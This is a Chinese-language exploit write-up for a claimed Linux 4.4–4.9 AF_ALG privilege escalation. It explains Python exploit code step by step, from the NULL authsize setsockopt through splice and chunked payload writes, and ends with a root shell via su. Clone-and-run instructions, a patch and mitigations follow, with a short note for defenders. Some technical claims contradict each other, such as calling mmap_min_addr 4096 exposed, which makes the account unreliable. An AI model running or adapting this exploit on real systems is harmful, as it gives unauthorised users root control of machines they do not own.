漏洞类型: 空指针解引用 → 堆越界写入 → 凭据覆盖
受影响子系统:net/alg/af_alg.c
影响: 本地权限提升(非特权用户 → root)
受影响内核: Linux 4.4 – 4.9(补丁前)
你调用 setsockopt() 时传入一个 NULL 指针,而内核期望的是一个用户空间地址。内核从地址 0x00000000 读取数据——如果你已经映射了零页,你就能控制它读取的内容。这一原始原语会滚雪球式地演变为堆越界写入,让你能够覆盖自己的 cred 结构体。游戏结束。
AF_ALG 接口的引入是为了让用户空间程序无需自行实现算法即可调用内核加密例程。加密、解密、哈希——全部通过套接字接口暴露。想法很干净。问题在于 setsockopt(ALG_SET_AEAD_AUTHSIZE) 没有检查用户传入的是有效指针还是 NULL。
大多数空指针漏洞会立即崩溃——内核解引用 0x0,该地址未映射,于是产生 oops。这个漏洞之所以能存活,是因为一个单独的先前条件:如果 vm.mmap_min_addr = 0,攻击者可以调用 mmap(0, ...) 将攻击者控制的数据放置在零页。现在内核读取的不是垃圾数据——它读取的正是你放在那里的内容。
易受攻击的调用:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
通常第四个参数是指向 4 字节值的指针,用于指定认证标签大小。内核对其调用 copy_from_user()。没有指针验证。传入 NULL,copy_from_user(dest, 0x00000000, 4) 就会从零页读取数据。
你能控制的内容:
地址 0x0 处的 4 个字节——你在发起调用之前设置它们。这给了你一个任意的 authsize 值。
为什么这很危险:
AEAD 操作会分配一个缓冲区,其大小足以容纳密文加上认证标签。如果你传入一个膨胀的 authsize,内核会将标签写入超出已分配缓冲区末尾的位置——这是一个经典的堆越界写入。从那里开始,只需进行堆布局整理(heap grooming),就能将该写入落到 struct cred 上。
该漏洞利用使用 Python 3 编写,仅使用标准库。以下是每个阶段实际在做什么以及为什么。
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG(套接字族 38)是内核加密 API。绑定到 authencesn(hmac(sha256),cbc(aes)) 请求一个认证加密模板——HMAC-SHA256 用于完整性,AES-CBC 用于机密性。选择此模板是因为其认证标签处理正是易受攻击的写入发生之处。
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
加载一个 72 字节的密钥。密钥本身对利用并不重要——重要的是在触发调用之前套接字已完全初始化。未配置密钥的 AEAD 套接字可能会提前拒绝 authsize 操作。
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
这就是漏洞所在。Python 中的 None 在 C API 中映射为 NULL 指针。内核从 0x00000000 读取 4 个字节。由于零页已经填充了所需的 authsize 值,内核现在拥有了一个攻击者控制的认证标签长度。
u, _ = a.accept()
对 AF_ALG 套接字调用 accept() 会返回一个操作套接字。加密操作在此进行。
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # 零 IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20 字节 AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # 操作类型
],
MSG_MORE
)
辅助控制消息配置操作——IV、关联数据长度、操作方向。实际数据是来自漏洞利用载荷的 4 字节块加上填充。
然后使用 splice 将数据从 SUID 二进制文件的文件描述符送入操作套接字,避免任何用户空间拷贝:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
这里刻意使用 splice()——它避免数据接触用户空间内存,从而使内核侧堆布局更可预测。当 AEAD 操作处理这些数据时,被破坏的 authsize 会导致认证标签写入溢出到相邻的堆内存中。
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
压缩后的载荷包含要写入的实际值——精心构造的 struct cred 字段偏移量和清零的 UID/GID 值。每次 4 字节迭代执行一次写入。循环逐步覆盖目标 cred 结构,直到所有 UID 和 GID 都变为零。
os.system("su")
当 cred->uid = cred->euid = cred->gid = 0 时,当前进程实际上就是 root。生成 su(或任何其他二进制文件)会继承这些凭据。Root shell。
映射零页
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ 内核从 0x0 读取 authsize
│ 攻击者控制该值
▼
sendmsg + splice → AEAD 操作
│ 膨胀的 authsize 导致堆越界写入
│
▼
堆布局整理将写入落到 struct cred 上
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → root shell
| 条件 | 为什么重要 |
|---|---|
vm.mmap_min_addr = 0 | 允许零页映射——整个原语都依赖于此 |
| 内核中编译了 AF_ALG | 必须启用(CONFIG_CRYPTO_USER_API_AEAD=y) |
| 内核 4.4 – 4.9(未打补丁) | 易受攻击的代码路径存在 |
检查你的 mmap 下限:
sysctl vm.mmap_min_addr
值为 0 或 4096 表示存在暴露风险。
# 1. 克隆
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. 验证前提条件
sysctl vm.mmap_min_addr
uname -r
# 3. 运行
python3 exploit.py
在易受攻击的系统上的预期输出:
root@hostname:/#
补丁很简单——在 af_alg_set_aead_authsize 中的 copy_from_user() 调用之前添加一个空指针检查:
// 之前(易受攻击)
copy_from_user(&authsize, optval, sizeof(authsize));
// 之后(已修补)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
相关提交:af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
无需打补丁即可破坏攻击链的缓解措施:
vm.mmap_min_addr = 65536 — 阻止零页映射,消灭 NULL 解引用原语CONFIG_CRYPTO_USER_API_AEAD — 完全移除攻击面这类漏洞——在 copy_from_user() 之前缺少指针验证——经常出现在向用户空间暴露复杂 API 的内核子系统中。零页原语多年来已被用于多个 LPE 漏洞利用(Dirty COW 时代、CVE-2016-5195 链变体)。关键启示不仅仅是这个特定的 CVE;而是这种模式:任何内核从用户提供的地址拷贝数据而未验证该地址、且零页可映射的地方,你都有一个值得关注的原始原语。
对于防御者来说,在套接字选项处理器中审计没有前置空指针检查的 copy_from_user() 调用点,值得自动化到你的内核审查流程中。
net/alg/af_alg.c — 内核源码af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALG 接口文档研究和撰写仅用于教育和防御目的。未经明确授权,请勿在系统上使用。
| 本地用户访问权限 | 仅限 LPE——不可远程利用 |